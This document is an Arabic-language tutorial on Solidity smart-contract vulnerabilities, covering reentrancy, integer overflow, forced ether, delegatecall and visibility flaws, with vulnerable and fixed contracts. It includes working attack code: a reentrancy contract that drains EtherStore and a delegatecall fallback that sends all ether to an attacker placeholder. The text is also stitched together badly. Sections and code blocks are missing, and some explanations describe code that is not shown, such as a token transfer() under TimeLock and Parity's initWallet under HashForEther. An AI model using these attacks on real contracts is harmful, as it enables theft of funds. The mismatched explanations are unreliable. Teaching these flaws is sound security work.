uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

هذا العقد يحتوي على دالتين عامتين: `depositFunds()` و `withdrawFunds()`. الدالة `depositFunds()` ببساطة تزيد أرصدة المُرسِلين. أما الدالة `withdrawFunds()` فتتيح للمُرسِل تحديد مقدار الـ wei الذي يريد سحبه. ولن تنجح إلا إذا كان المبلغ المطلوب سحبه أقل من 1 إيثر ولم يحدث أي سحب خلال الأسبوع الماضي. أم أنها كذلك؟...

تكمن الثغرة في السطر \[17\] حيث نرسل إلى المستخدم المبلغ المطلوب من الإيثر. لنفترض أن مهاجمًا خبيثًا ينشئ العقد التالي،

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}

<h3 id="re-example">مثال من العالم الحقيقي: The DAO</h3>

[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (منظمة لامركزية مستقلة) كانت واحدة من أكبر الاختراقات التي حدثت في بداية تطوير إيثريوم. في ذلك الوقت، كان العقد يحتوي على أكثر من 150 مليون دولار أمريكي. لعبت إعادة الدخول (Re-entrancy) دورًا رئيسيًا في الهجوم الذي أدى في النهاية إلى الانقسام الصلب (hard-fork) الذي أنشأ إيثريوم كلاسيك (ETC). للحصول على تحليل جيد لاستغلال DAO، انظر [منشور Phil Daian](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/).

<h2 id="ouflow"><span id="SP-2">2. الفيض/النقصان الحسابي</span></h2>

تحدد الآلة الافتراضية للإيثيريوم (EVM) أنواع بيانات ذات أحجام ثابتة للأعداد الصحيحة. هذا يعني أن متغير العدد الصحيح لديه فقط نطاق معين من الأرقام يمكنه تمثيلها. على سبيل المثال، يمكن أن يخزن `uint8` أرقامًا فقط في النطاق \[0,255\]. محاولة تخزين `256` في `uint8` ستؤدي إلى `0`. إذا لم يتم الحذر، يمكن استغلال المتغيرات في Solidity عندما يكون إدخال المستخدم غير محقّق وتُجرى عمليات حسابية تنتج أرقامًا تقع خارج نطاق نوع البيانات الذي يخزنها.

لمزيد من القراءة حول الفيض/النقصان الحسابي، انظر [كيف تؤمّن عقودك الذكية](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d)، [أفضل الممارسات للعقود الذكية على إيثيريوم](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) و[إيثيريوم وسوليديتي وفيض الأعداد الصحيحة: برمجة سلاسل الكتل مثل 1970](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)

<h3 id="ou-vuln">الثغرة</h3>

يحدث الفيض/النقصان عندما يتم تنفيذ عملية تتطلب متغيرًا بحجم ثابت لتخزين رقم (أو جزء من البيانات) يقع خارج نطاق نوع بيانات المتغير.

على سبيل المثال، طرح `1` من متغير `uint8` (عدد صحيح غير موقّع من 8 بتات، أي موجب فقط) يخزّن `0` كقيمة له، سينتج الرقم `255`. هذا هو النقصان (underflow). لقد خصصنا رقمًا أقل من نطاق `uint8`، والنتيجة *تلتف حول* وتعطي أكبر رقم يمكن أن يخزنه `uint8`. وبالمثل، إضافة `2^8=256` إلى `uint8` ستترك المتغير دون تغيير لأننا التففنا حول كامل طول `uint` (لعلماء الرياضيات، هذا مشابه لإضافة $2\pi$ إلى زاوية دالة مثلثية، $\sin(x) = \sin(x+2\pi)$). إضافة أرقام أكبر من نطاق نوع البيانات يسمى فيضًا (overflow). للتوضيح، إضافة `257` إلى `uint8` الذي قيمته حاليًا صفر ستؤدي إلى الرقم `1`. من المفيد أحيانًا التفكير في متغيرات الأنواع الثابتة على أنها دورية، حيث نبدأ من الصفر مرة أخرى إذا أضفنا أرقامًا أكبر من أكبر رقم ممكن تخزينه، والعكس بالنسبة للصفر (حيث نبدأ العد تنازليًا من أكبر رقم كلما طرحنا من 0).

هذه الأنواع من المحاذير الرقمية تسمح للمهاجمين بإساءة استخدام الكود وإنشاء تدفقات منطقية غير متوقعة. على سبيل المثال، تأمل العقد الزمني أدناه.

TimeLock.sol:```solidity
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

هذا عقد رمز بسيط يستخدم دالة `transfer()`، مما يسمح للمشاركين بتحويل رموزهم. هل يمكنك رؤية الخطأ في هذا العقد؟

الخلل يقع في دالة `transfer()`. يمكن تجاوز عبارة `require` في السطر \[13\] باستخدام التدفق السفلي (underflow). افترض مستخدمًا ليس لديه رصيد. يمكنه استدعاء دالة `transfer()` بأي قيمة `_value` غير صفرية واجتياز عبارة `require` في السطر \[13\]. وذلك لأن `balances[msg.sender]` تساوي صفرًا (وهي من نوع `uint256`)، لذا فإن طرح أي مبلغ موجب (باستثناء `2^256`) سيؤدي إلى رقم موجب بسبب التدفق السفلي الذي وصفناه أعلاه. وينطبق هذا أيضًا على السطر \[14\]، حيث سيُضاف رصيدنا برقم موجب. وهكذا، في هذا المثال، حصلنا على رموز مجانية بسبب ثغرة التدفق السفلي.

<h3 id="ou-prevention">تقنيات الوقاية</h3>

التقنية التقليدية (حاليًا) للحماية من ثغرات التدفق السفلي/العلوي (under/overflow) هي استخدام أو بناء مكتبات رياضية تحل محل عوامل التشغيل الرياضية القياسية؛ الجمع والطرح والضرب (القسمة مستثناة لأنها لا تسبب تدفقًا سفليًا/علويًا، كما أن EVM يرجع على القسمة على 0).

لقد قام [OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) بعمل رائع في بناء وتدقيق مكتبات آمنة يمكن لمجتمع الإيثيريوم الاستفادة منها. وعلى وجه الخصوص، تُعد [مكتبة Safe Math](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) مرجعًا أو مكتبة يُنصح باستخدامها لتجنب ثغرات التدفق السفلي/العلوي.

لتوضيح كيفية استخدام هذه المكتبات في Solidity، دعونا نصحح عقد `TimeLock` باستخدام مكتبة `SafeMath` من Open Zepplin. سيصبح العقد الخالي من التدفق العلوي كما يلي:```solidity
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
    require(msg.value == 0.5 ether); // each play is 0.5 ether
    uint currentBalance = this.balance + msg.value;
    // ensure no players after the game as finished
    require(currentBalance <= finalMileStone);
    // if at a milestone credit the players account
    if (currentBalance == payoutMileStone1) {
        redeemableEther[msg.sender] += mileStone1Reward;
    }
    else if (currentBalance == payoutMileStone2) {
        redeemableEther[msg.sender] += mileStone2Reward;
    }
    else if (currentBalance == finalMileStone ) {
        redeemableEther[msg.sender] += finalReward;
    }
    return;
}

function claimReward() public {
    // ensure the game is complete
    require(this.balance == finalMileStone);
    // ensure there is a reward to give
    require(redeemableEther[msg.sender] > 0);
    uint transferValue = redeemableEther[msg.sender];
    redeemableEther[msg.sender] = 0;
    msg.sender.transfer(transferValue);
}

يمثل هذا العقد لعبة بسيطة (والتي من الطبيعي أن تستدعي [حالات السباق](#race-conditions)) حيث يرسل اللاعبون وحدات مقدارها `0.5 ether` إلى العقد على أمل أن يكونوا اللاعب الذي يصل إلى إحدى المراحل الثلاث أولاً. تُقاس المراحل بوحدة الإيثر. أول من يصل إلى المرحلة يمكنه المطالبة بجزء من الإيثر عندما تنتهي اللعبة. تنتهي اللعبة عند الوصول إلى المرحلة النهائية (`10 ether`) ويمكن للمستخدمين المطالبة بمكافآتهم.

تكمن المشكلات في عقد `EtherGame` في الاستخدام السيئ لـ `this.balance` في كل من السطرين \[14\] (وبالارتباط معه \[16\]) و\[32\]. يمكن لمهاجم خبيث إرسال كمية صغيرة من الإيثر قسرًا، لنقل `0.1 ether` عبر دالة `selfdestruct()` (التي نوقشت أعلاه) لمنع أي لاعبين مستقبليين من الوصول إلى مرحلة. نظرًا لأن جميع اللاعبين الشرعيين يمكنهم فقط إرسال زيادات مقدارها `0.5 ether`، فإن `this.balance` لن يعد أعدادًا صحيحة نصفية، لأنه سيحتوي أيضًا على مساهمة `0.1 ether`. وهذا يمنع جميع الشروط `if` في الأسطر \[18\] و\[21\] و\[24\] من أن تكون صحيحة.

والأسوأ من ذلك، أن المهاجم الحاقد الذي فاته الوصول إلى مرحلة، يمكنه إرسال `10 ether` قسرًا (أو مبلغًا مكافئًا من الإيثر يرفع رصيد العقد فوق `finalMileStone`) مما سيحبس جميع المكافآت في العقد إلى الأبد. وذلك لأن دالة `claimReward()` سترجع دائمًا خطأ، بسبب شرط `require` في السطر \[32\] (أي أن `this.balance` أكبر من `finalMileStone`).

<h3 id="ether-prevention">تقنيات الوقاية</h3>

تنشأ هذه الثغرة عادةً من إساءة استخدام `this.balance`. يجب أن يتجنب منطق العقد، كلما أمكن، الاعتماد على القيم الدقيقة لرصيد العقد لأنه يمكن التلاعب به بشكل مصطنع. إذا تم تطبيق منطق يعتمد على `this.balance`، فتأكد من مراعاة الأرصدة غير المتوقعة.

إذا كانت القيم الدقيقة للإيثر المُودَع مطلوبة، فيجب استخدام متغير معرف ذاتيًا تتم زيادته في الدوال القابلة للدفع، لتتبع الإيثر المُودَع بأمان. لن يتأثر هذا المتغير بالإيثر القسري المُرسل عبر استدعاء `selfdestruct()`.

مع أخذ ذلك في الاعتبار، قد تبدو نسخة مصححة من عقد `EtherGame` كما يلي:```solidity
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() public payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game as finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

// modify the zeroth number in the sequence
function setStart(uint _start) public {
    start = _start;
}

function setFibonacci(uint n) public {
    calculatedFibNumber = fibonacci(n);
}

function fibonacci(uint n) internal returns (uint) {
    if (n == 0) return start;
    else if (n == 1) return start + 1;
    else return fibonacci(n - 1) + fibonacci(n - 2);
}

توفر هذه المكتبة دالة يمكنها توليد رقم فيبوناتشي *n*-th في المتتالية. تتيح للمستخدمين تغيير رقم البداية للمتتالية (`start`) وحساب الأرقام الشبيهة بفيبوناتشي *n*-th في هذه المتتالية الجديدة.

لنفكر الآن في عقد يستخدم هذه المكتبة.


`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {

    address public fibonacciLibrary;
    // the current fibonacci number to withdraw
    uint public calculatedFibNumber;
    // the starting fibonacci sequence number
    uint public start = 3;
    uint public withdrawalCounter;
    // the fibonancci function selector
    bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

    // constructor - loads the contract with ether
    constructor(address _fibonacciLibrary) public payable {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() {
        withdrawalCounter += 1;
        // calculate the fibonacci number for the current withdrawal user
        // this sets calculatedFibNumber
        require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
        msg.sender.transfer(calculatedFibNumber * 1 ether);
    }

    // allow users to call fibonacci library functions
    function() public {
        require(fibonacciLibrary.delegatecall(msg.data));
    }
}

// fallback - this will run if a specified function is not found
function() public {
    storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
    // is called we don't send out any ether.
    <attacker_address>.transfer(this.balance); // we take all the ether
}

لاحظ أن عقد الهجوم هذا يعدّل `calculatedFibNumber` عن طريق تغيير فتحة التخزين `slot[1]`. من حيث المبدأ، يمكن للمهاجم تعديل أي فتحات تخزين أخرى يختارها لتنفيذ جميع أنواع الهجمات على هذا العقد. أشجع جميع القراء على وضع هذه العقود في [Remix](https://remix.ethereum.org) وتجربة عقود هجوم مختلفة وتغييرات الحالة من خلال دوال `delegatecall` هذه.

من المهم أيضًا ملاحظة أنه عندما نقول إن `delegatecall` يحافظ على الحالة، فإننا لا نتحدث عن أسماء متغيرات العقد، بل عن فتحات التخزين الفعلية التي تشير إليها تلك الأسماء. كما ترى من هذا المثال، يمكن لخطأ بسيط أن يؤدي إلى اختطاف المهاجم للعقد بالكامل والإيثر الخاص به.

<h3 id="dc-prevention">تقنيات الوقاية</h3>

توفر Solidity الكلمة المفتاحية `library` لتنفيذ عقود المكتبات (انظر [وثائق Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries) لمزيد من التفاصيل). يضمن ذلك أن يكون عقد المكتبة عديم الحالة وغير قابل للتدمير الذاتي. إن إجبار المكتبات على أن تكون عديمة الحالة يخفف من تعقيدات سياق التخزين الموضحة في هذا القسم. كما تمنع المكتبات عديمة الحالة الهجمات التي يعدّل فيها المهاجمون حالة المكتبة مباشرة للتأثير على العقود التي تعتمد على كود المكتبة.
كقاعدة عامة، عند استخدام `DELEGATECALL` انتبه جيدًا لسياق الاستدعاء المحتمل لكل من عقد المكتبة والعقد المُستدعي، وقم ببناء مكتبات عديمة الحالة كلما أمكن ذلك.

<h3 id="dc-example">مثال من العالم الحقيقي: محفظة Parity متعددة التوقيعات (الاختراق الثاني)</h3>

يُعد اختراق محفظة Parity متعددة التوقيعات الثاني مثالًا على كيفية استغلال سياق كود مكتبة مكتوب جيدًا إذا تم تشغيله في سياق غير مقصود. هناك عدد من الشروحات الجيدة لهذا الاختراق، مثل هذا العرض العام: [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838) بقلم Anthony Akentiev، وهذا [السؤال على stack exchange](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130) و[نظرة متعمقة على خطأ Parity Multisig](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/).

لإضافة إلى هذه المراجع، دعنا نستكشف العقود التي تم استغلالها. يمكن العثور على عقد المكتبة والمحفظة على github الخاص بـ Parity [هنا](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol).

دعونا نلقي نظرة على الجوانب ذات الصلة في هذا العقد. يوجد هنا عقدان محل اهتمام: عقد المكتبة وعقد المحفظة.

عقد المكتبة،```solidity
contract WalletLibrary is WalletEvents {

  ...

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  ...

}

لاحظ أن عقد `Wallet` يمرر جميع الاستدعاءات إلى عقد `WalletLibrary` عبر استدعاء تفويضي. عنوان الثابت `_walletLibrary` في هذا المقتطف البرمجي يعمل كعنصر نائب للعقد `WalletLibrary` المنشور فعليًا (والذي كان على العنوان `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`).

كانت العملية المقصودة من هذه العقود هي أن يكون هناك عقد `Wallet` بسيط منخفض التكلفة قابل للنشر بحيث تكون قاعدته البرمجية ووظيفته الرئيسية في عقد `WalletLibrary`. لسوء الحظ، فإن عقد `WalletLibrary` هو نفسه عقد ويحتفظ بحالته الخاصة. هل يمكنك أن ترى لماذا قد يشكل هذا مشكلة؟

من الممكن إرسال استدعاءات إلى عقد `WalletLibrary` نفسه. على وجه التحديد، يمكن تهيئة عقد `WalletLibrary` ويصبح مملوكًا. قام مستخدم بذلك عن طريق استدعاء الدالة `initWallet()` على عقد `WalletLibrary`، ليصبح مالكًا لعقد المكتبة. ثم قام المستخدم نفسه لاحقًا باستدعاء الدالة `kill()`. وبما أن المستخدم كان مالكًا لعقد المكتبة، فقد مرّ المعدِّل (modifier) وانتحر عقد المكتبة. ولأن جميع عقود `Wallet` الموجودة تشير إلى عقد المكتبة هذا ولا تحتوي على أي طريقة لتغيير هذا المرجع، فإن جميع وظائفها، بما في ذلك القدرة على سحب الإيثر، تضيع مع عقد `WalletLibrary`. وبشكل أكثر مباشرة، فإن كل الإيثر في جميع محافظ التوقيع المتعدد من نوع Parity هذه يضيع فورًا أو يصبح غير قابل للاسترداد بشكل دائم.

<h2 id="visibility"><span id="SP-5">5. الرؤية الافتراضية</span></h2>

تمتلك الدوال في Solidity محددات رؤية تحدد كيفية السماح باستدعاء هذه الدوال. تحدد الرؤية ما إذا كان يمكن استدعاء الدالة خارجيًا من قبل المستخدمين، أو من قبل عقود مشتقة أخرى، أو داخليًا فقط، أو خارجيًا فقط. هناك أربعة محددات رؤية، موصوفة بالتفصيل في [وثائق Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters). تكون الدوال افتراضيًا `public` مما يسمح للمستخدمين باستدعائها خارجيًا. الاستخدام غير الصحيح لمحددات الرؤية يمكن أن يؤدي إلى ثغرات أمنية مدمرة في العقود الذكية كما سيتم مناقشته في هذا القسم.

<h3 id="visibility-vuln">الثغرة</h3>

الرؤية الافتراضية للدوال هي `public`. لذلك فإن الدوال التي لا تحدد أي رؤية ستكون قابلة للاستدعاء من قبل مستخدمين خارجيين. وتأتي المشكلة عندما يتجاهل المطورون عن طريق الخطأ محددات الرؤية على الدوال التي يجب أن تكون `private` (أو قابلة للاستدعاء فقط داخل العقد نفسه).

لنستكشف سريعًا مثالًا بسيطًا.```solidity
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}

لاحظ أنه لم يتم تحديد رؤية (visibility) صراحةً لأي من الدالتين. فكلتا الدالتين تكونان `public` افتراضيًا. تُستدعى الدالة `initWallet()` في مُنشئ المحفظة (constructor) وتقوم بتعيين المالكين للمحفظة متعددة التوقيع كما يظهر في الدالة `initMultiowned()`. وبسبب ترك هاتين الدالتين `public` عن طريق الخطأ، تمكن المهاجم من استدعاء هاتين الدالتين على العقود المنشورة، معيدًا تعيين الملكية إلى عنوان المهاجم. وبصفته المالك، قام المهاجم بعد ذلك بسحب كل الأثير من المحافظ، بقيمة 31 مليون دولار.

<h2 id="entropy"><span id="SP-6">6. وهم الإنتروبيا</span></h2>

جميع المعاملات على سلسلة كتل إيثيريوم هي عمليات انتقال حالة حتمية (deterministic). وهذا يعني أن كل معاملة تعدّل الحالة العامة لنظام إيثيريوم البيئي، وتفعل ذلك بطريقة قابلة للحساب دون أي قدر من عدم اليقين. وهذا يؤدي في النهاية إلى أنه داخل النظام البيئي للبلوكشين لا يوجد أي مصدر للإنتروبيا أو العشوائية. لا توجد دالة `rand()` في لغة Solidity. تحقيق الإنتروبيا اللامركزية (العشوائية) هو مشكلة معروفة جيدًا، وقد اقترحت العديد من الأفكار لمعالجتها (انظر على سبيل المثال [RandDAO](https://github.com/randao/randao) أو استخدام سلسلة من التجزئات (Hashes) كما وصفها فيتاليك في هذا [المنشور](https://vitalik.ca/files/randomness.html)).

<h3 id="entropy-vuln">الثغرة</h3>

كانت بعض العقود الأولى التي بُنيت على منصة إيثيريوم قائمة على المقامرة. فالمقامرة تتطلب بطبيعتها عدم اليقين (شيئًا للمراهنة عليه)، مما يجعل بناء نظام مقامرة على البلوكشين (وهو نظام حتمي) أمرًا صعبًا إلى حدٍ ما. ومن الواضح أن عدم اليقين يجب أن يأتي من مصدر خارجي عن البلوكشين. وهذا ممكن للرهانات بين الأقران (انظر على سبيل المثال [تقنية الالتزام-الكشف (commit-reveal)](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract))، لكنه أصعب بكثير إذا أردت تنفيذ عقد ليقوم بدور *البيت (the house)* (كما في لعبة البلاك جاك أو الروليت). من المزالق الشائعة استخدام متغيرات الكتلة المستقبلية، مثل التجزئات والطوابع الزمنية ورقم الكتلة أو حد الغاز. المشكلة في هذه المتغيرات أنها خاضعة لتحكم المُعدِّن الذي ينتج الكتلة، وبالتالي فهي ليست عشوائية حقًا. لنفترض على سبيل المثال عقدًا ذكيًا للروليت يحتوي على منطق يُرجع رقمًا أسود إذا انتهى تجزئة الكتلة التالية برقم زوجي. يمكن لمُعدِّن (أو مجموعة تعدين) أن يراهن بمليون دولار على الأسود. إذا قاموا بحل الكتلة التالية ووجدوا أن التجزئة تنتهي برقم فردي، فسيمتنعون عن نشر كتلتهم بسعادة ويعدّنون كتلة أخرى حتى يجدوا حلاً يكون فيه تجزئة الكتلة رقمًا زوجيًا (بافتراض أن مكافأة الكتلة والرسوم أقل من مليون دولار). استخدام المتغيرات الماضية أو الحالية يمكن أن يكون أكثر تدميرًا كما يوضح مارتن سويندي في [منشوره الممتاز](http://martin.swende.se/blog/Breaking_the_house.html). علاوة على ذلك، فإن استخدام متغيرات الكتلة فقط يعني أن الرقم العشوائي الزائف سيكون نفسه لجميع المعاملات في الكتلة، لذا يمكن للمهاجم مضاعفة أرباحه بتنفيذ العديد من المعاملات داخل الكتلة الواحدة (إذا كان هناك حد أقصى للرهان).

<h3 id="entropy-prevention">تقنيات الوقاية</h3>

يجب أن يكون مصدر الإنتروبيا (العشوائية) خارجيًا عن البلوكشين. ويمكن تحقيق ذلك بين الأقران باستخدام أنظمة مثل [الالتزام-الكشف](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)، أو عبر تغيير نموذج الثقة إلى مجموعة من المشاركين (كما في [RandDAO](https://github.com/randao/randao)). ويمكن أيضًا القيام بذلك عبر كيان مركزي يعمل كأوراكل للعشوائية. لا ينبغي استخدام متغيرات الكتلة (بشكل عام، توجد بعض الاستثناءات) كمصدر للإنتروبيا لأن المعدِّنين يمكنهم التلاعب بها.

<h3 id="entropy-example">مثال من العالم الحقيقي: عقود PRNG</h3>

كتب أرسيني ريوتوف [منشور مدونة](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) بعد أن حلل 3649 عقدًا ذكيًا نشطًا كانت تستخدم نوعًا ما من مولدات الأرقام العشوائية الزائفة (PRNG) ووجد 43 عقدًا يمكن استغلالها.

<h2 id="contract-reference"><span id="SP-7">7. الإشارة إلى العقود الخارجية</span></h2>

من فوائد *الحاسوب العالمي* لإيثيريوم القدرة على إعادة استخدام الكود والتفاعل مع العقود المنشورة بالفعل على الشبكة. ونتيجة لذلك، يشير عدد كبير من العقود إلى عقود خارجية وتستخدم في عملياتها العامة استدعاءات رسائل خارجية (external message calls) للتفاعل مع هذه العقود. ويمكن لهذه الاستدعاءات الخارجية للرسائل أن تخفي نوايا الجهات الخبيثة بطرق غير واضحة، وسنناقش ذلك.

<h3 id="cr-vuln">الثغرة</h3>

في لغة Solidity، يمكن تحويل أي عنوان (address) إلى عقد بغض النظر عما إذا كان الكود الموجود في هذا العنوان يمثل نوع العقد الذي يتم التحويل إليه. وهذا قد يكون مضللاً، خاصةً عندما يحاول مؤلف العقد إخفاء كود خبيث. دعونا نوضح ذلك بمثال:

لنأخذ قطعة كود تنفذ بشكل بدائي تشفير [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13).

`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
            }
        }
        emit Result(text);
    }
}

// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
    encryptionLibrary = _encryptionLibrary;
}

function encryptPrivateData(string privateInfo) {
    // potentially do some operations here
    encryptionLibrary.rot13Encrypt(privateInfo);
 }

المشكلة في هذا العقد هي أن عنوان `encryptionLibrary` ليس عامًا أو ثابتًا. وبالتالي، كان بإمكان ناشر العقد إعطاء عنوان في المُنشئ يشير إلى هذا العقد:```solidity
//encryption contract
contract Rot26Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
